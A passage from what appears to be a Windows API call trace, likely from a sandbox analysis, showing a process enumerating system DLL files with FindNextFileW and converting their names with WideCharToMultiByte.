[0035.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x30c288, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0035.979] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d15d256, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d15d256, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="api-ms-win-service-core-l1-1-0.dll", cAlternateFileName="")) returned 1 [0035.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-CORE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0035.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-CORE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x30c120, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SERVICE-CORE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0035.979] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1370f7, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1370f7, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="api-ms-win-service-management-l1-1-0.dll", cAlternateFileName="")) returned 1 [0035.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-MANAGEMENT-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0035.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-MANAGEMENT-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x30c288, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SERVICE-MANAGEMENT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0035.979] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d09eb7b, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d09eb7b, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="api-ms-win-service-management-l2-1-0.dll", cAlternateFileName="")) returned 1 [0035.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-MANAGEMENT-L2-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0035.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-MANAGEMENT-L2-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x30c120, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SERVICE-MANAGEMENT-L2-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0035.979] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d267bef, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d267bef, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="api-ms-win-service-winsvc-l1-1-0.dll", cAlternateFileName="")) returned 1 [0035.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-WINSVC-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0035.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-WINSVC-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x30c288, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SERVICE-WINSVC-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0035.979] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7821a163, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x7821a163, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x7e595a10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="apilogen.dll", cAlternateFileName="")) returned 1 [0035.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APILOGEN.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0035.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APILOGEN.DLL", cchWideChar=12, lpMultiByteStr=0x30c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APILOGEN.DLL", lpUsedDefaultChar=0x0) returned 12 [0035.979] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1f2f92c, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xc1f2f92c, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7e595a10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x36000, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="apircl.dll", cAlternateFileName="")) returned 1 [0035.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APIRCL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0035.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APIRCL.DLL", cchWideChar=10, lpMultiByteStr=0x30c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APIRCL.DLL", lpUsedDefaultChar=0x0) returned 10 [0035.979] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2de74afe, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2de74afe, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf261dbf0, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="apisetschema.dll", cAlternateFileName="")) returned 1 [0035.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APISETSCHEMA.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0035.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APISETSCHEMA.DLL", cchWideChar=16, lpMultiByteStr=0x30c120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APISETSCHEMA.DLL", lpUsedDefaultChar=0x0) returned 16 [0035.979] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92c3856c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92c3856c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92c5e6cc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x48400, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="apphelp.dll", cAlternateFileName="")) returned 1 [0035.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPHELP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0035.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPHELP.DLL", cchWideChar=11, lpMultiByteStr=0x30c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPHELP.DLL", lpUsedDefaultChar=0x0) returned 11 [0035.980] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a4c40da, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x7a4c40da, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x7e595a10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7400, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="Apphlpdm.dll", cAlternateFileName="")) returned 1 [0035.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPHLPDM.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0035.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPHLPDM.DLL", cchWideChar=12, lpMultiByteStr=0x30c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPHLPDM.DLL", lpUsedDefaultChar=0x0) returned 12 [0035.980] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc6b7842, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xcc6b7842, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7e608600, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="appidapi.dll", cAlternateFileName="")) returned 1 [0035.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPIDAPI.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0035.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPIDAPI.DLL", cchWideChar=12, lpMultiByteStr=0x30c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPIDAPI.DLL", lpUsedDefaultChar=0x0) returned 12 [0035.980] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd29cc968, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xd29cc968, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7e6540f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x31a00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="AppIdPolicyEngineApi.dll", cAlternateFileName="")) returned 1 [0035.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPIDPOLICYENGINEAPI.DLL", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0035.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPIDPOLICYENGINEAPI.DLL", cchWideChar=24, lpMultiByteStr=0x30c120, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPIDPOLICYENGINEAPI.DLL", lpUsedDefaultChar=0x0) returned 24 [0035.980] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98006f9, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x98006f9, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7e6c6ce0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x24800, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="appmgmts.dll", cAlternateFileName="")) returned 1 [0035.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPMGMTS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0035.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPMGMTS.DLL", cchWideChar=12, lpMultiByteStr=0x30c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPMGMTS.DLL", lpUsedDefaultChar=0x0) returned 12 [0035.980] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1c14fdd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1c14fdd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1c6129e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x53000, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="appmgr.dll", cAlternateFileName="")) returned 1 [0035.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPMGR.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0035.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPMGR.DLL", cchWideChar=10, lpMultiByteStr=0x30c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPMGR.DLL", lpUsedDefaultChar=0x0) returned 10 [0035.980] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc81f8794, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xc81f8794, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7e6eb6d0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x30e00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="apss.dll", cAlternateFileName="")) returned 1 [0035.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APSS.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0035.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APSS.DLL", cchWideChar=8, lpMultiByteStr=0x30c288, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APSS.DLL", lpUsedDefaultChar=0x0) returned 8 [0035.980] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31c9efbc, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x31c9efbc, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xf2a6d430, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="asferror.dll", cAlternateFileName="")) returned 1 [0035.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASFERROR.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0035.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASFERROR.DLL", cchWideChar=12, lpMultiByteStr=0x30c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ASFERROR.DLL", lpUsedDefaultChar=0x0) returned 12 [0035.980] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x57090500, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x6cc0, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="aspnet_counters.dll", cAlternateFileName="")) returned 1 [0035.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASPNET_COUNTERS.DLL", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0035.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASPNET_COUNTERS.DLL", cchWideChar=19, lpMultiByteStr=0x30c288, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ASPNET_COUNTERS.DLL", lpUsedDefaultChar=0x0) returned 19 [0035.981] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84e661b3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84e661b3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84e661b3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10800, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="asycfilt.dll", cAlternateFileName="")) returned 1 [0035.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASYCFILT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0035.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASYCFILT.DLL", cchWideChar=12, lpMultiByteStr=0x30c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ASYCFILT.DLL", lpUsedDefaultChar=0x0) returned 12 [0035.981] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d2b74b, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0x2d2b74b, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0x805466c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11200, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="atl.dll", cAlternateFileName="")) returned 1 [0035.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL.DLL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0035.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL.DLL", cchWideChar=7, lpMultiByteStr=0x30c288, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATL.DLL", lpUsedDefaultChar=0x0) returned 7 [0035.981] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b0b4600, ftCreationTime.dwHighDateTime=0x1cc2787, ftLastAccessTime.dwLowDateTime=0xcc438260, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0x4b0b4600, ftLastWriteTime.dwHighDateTime=0x1cc2787, nFileSizeHigh=0x0, nFileSizeLow=0x21b48, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="atl100.dll", cAlternateFileName="")) returned 1 [0035.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL100.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0035.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL100.DLL", cchWideChar=10, lpMultiByteStr=0x30c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATL100.DLL", lpUsedDefaultChar=0x0) returned 10 [0035.981] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29b8ce00, ftCreationTime.dwHighDateTime=0x1ce64f7, ftLastAccessTime.dwLowDateTime=0xef797c80, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0x29b8ce00, ftLastWriteTime.dwHighDateTime=0x1ce64f7, nFileSizeHigh=0x0, nFileSizeLow=0x28248, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="atl110.dll", cAlternateFileName="")) returned 1 [0035.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL110.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0035.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL110.DLL", cchWideChar=10, lpMultiByteStr=0x30c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATL110.DLL", lpUsedDefaultChar=0x0) returned 10 [0035.981] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9363019e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9363019e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x936562fe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x47e00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="atmfd.dll", cAlternateFileName="")) returned 1 [0035.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATMFD.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0035.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATMFD.DLL", cchWideChar=9, lpMultiByteStr=0x30c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATMFD.DLL", lpUsedDefaultChar=0x0) returned 9 [0035.981] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9360a03e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9360a03e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9363019e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="atmlib.dll", cAlternateFileName="")) returned 1 [0035.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATMLIB.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0035.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATMLIB.DLL", cchWideChar=10, lpMultiByteStr=0x30c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATMLIB.DLL", lpUsedDefaultChar=0x0) returned 10 [0035.981] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4204ec3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb4204ec3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb4204ec3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, 